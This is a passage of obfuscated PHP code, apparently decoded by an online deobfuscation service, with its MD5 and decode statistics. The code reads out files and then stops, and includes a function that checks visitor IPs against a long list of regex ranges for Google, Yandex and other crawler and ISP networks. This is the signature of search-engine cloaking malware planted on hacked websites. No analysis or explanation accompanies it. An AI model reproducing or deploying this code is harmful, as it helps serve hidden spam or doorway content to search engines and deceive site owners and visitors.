foreach (array_keys($i0l1i11111011001000l1i1111100001010s_arr) as $fn) {
readfile($fn);
}
die();
}
function i0l1i10000100100110($i0l1i10000100111010)
{
$i0l1i10000101100010 = array(
"66\.102\.\d+\.\d+",
"66\.249\.\d+\.\d+",
"72\.14\.192\.\d+",
"74\.125\.\d+\.\d+",
"209\.85\.128\.\d+",
"216\.239\.32\.\d+",
"74\.125\.\d+\.\d+",
"207\.126\.144\.\d+",
"173\.194\.\d+\.\d+",
"64\.233\.160\.\d+",
"72\.14\.192\.\d+",
"66\.102\.\d+\.\d+",
"64\.18\.\d+\.\d+",
"194\.52\.68\.\d+",
"194\.72\.238\.\d+",
"62\.116\.207\.\d+",
"212\.50\.193\.\d+",
"69\.65\.\d+\.\d+",
"50\.7\.\d+\.\d+",
"131\.212\.\d+\.\d+",
"46\.116\.\d+\.\d+ ",
"62\.90\.\d+\.\d+",
"89\.138\.\d+\.\d+",
"82\.166\.\d+\.\d+",
"85\.64\.\d+\.\d+",
"85\.250\.\d+\.\d+",
"89\.138\.\d+\.\d+",
"93\.172\.\d+\.\d+",
"109\.186\.\d+\.\d+",
"194\.90\.\d+\.\d+",
"212\.29\.192\.\d+",
"212\.29\.224\.\d+",
"212\.143\.\d+\.\d+",
"212\.150\.\d+\.\d+",
"212\.235\.\d+\.\d+",
"217\.132\.\d+\.\d+",
"50\.97\.\d+\.\d+",
"217\.132\.\d+\.\d+",
"209\.85\.\d+\.\d+",
"66\.205\.64\.\d+",
"204\.14\.48\.\d+",
"64\.27\.2\.\d+",
"67\.15\.\d+\.\d+",
"202\.108\.252\.\d+",
"193\.47\.80\.\d+",
"64\.62\.136\.\d+",
"66\.221\.\d+\.\d+",
"64\.62\.175\.\d+",
"198\.54\.\d+\.\d+",
"192\.115\.134\.\d+",
"216\.252\.167\.\d+",
"193\.253\.199\.\d+",
"69\.61\.12\.\d+",
"64\.37\.103\.\d+",
"38\.144\.36\.\d+",
"64\.124\.14\.\d+",
"206\.28\.72\.\d+",
"209\.73\.228\.\d+",
"158\.108\.\d+\.\d+",
"168\.188\.\d+\.\d+",
"66\.207\.120\.\d+",
"167\.24\.\d+\.\d+",
"192\.118\.48\.\d+",
"67\.209\.128\.\d+",
"12\.148\.209\.\d+",
"12\.148\.196\.\d+",
"193\.220\.178\.\d+",
"68\.65\.53\.71",
"198\.25\.\d+\.\d+",
"64\.106\.213\.\d+",
"77\.88\.22\.\d+",
"77\.88\.23\.\d+",
"77\.88\.24\.\d+",
"84\.201\.128\.\d+",
"95\.108\.128\.\d+",
"87\.250\.\d+\.\d+",
"93\.158\.\d+\.\d+",
"178\.154\.\d+\.\d+",
"199\.36\.240\.\d+",
"213\.180\.(1|2)\d{2}\.\d+",
"94.100\.\d+\.\d+",
"195\.239\.211\.\d+"
);
foreach ($i0l1i10000101100010 as $i0l1i1111101100100p) {
if (preg_match("~" . $i0l1i1111101100100p . "~", $i0l1i10000100111010)) {
return true;
}
}
return false;
}
}Function Calls
| define | 1 |
Stats
| MD5 | 999cfe2fd9fcf41fe76a60c2fc2e98ab |
| Eval Count | 0 |
| Decode Time | 320 ms |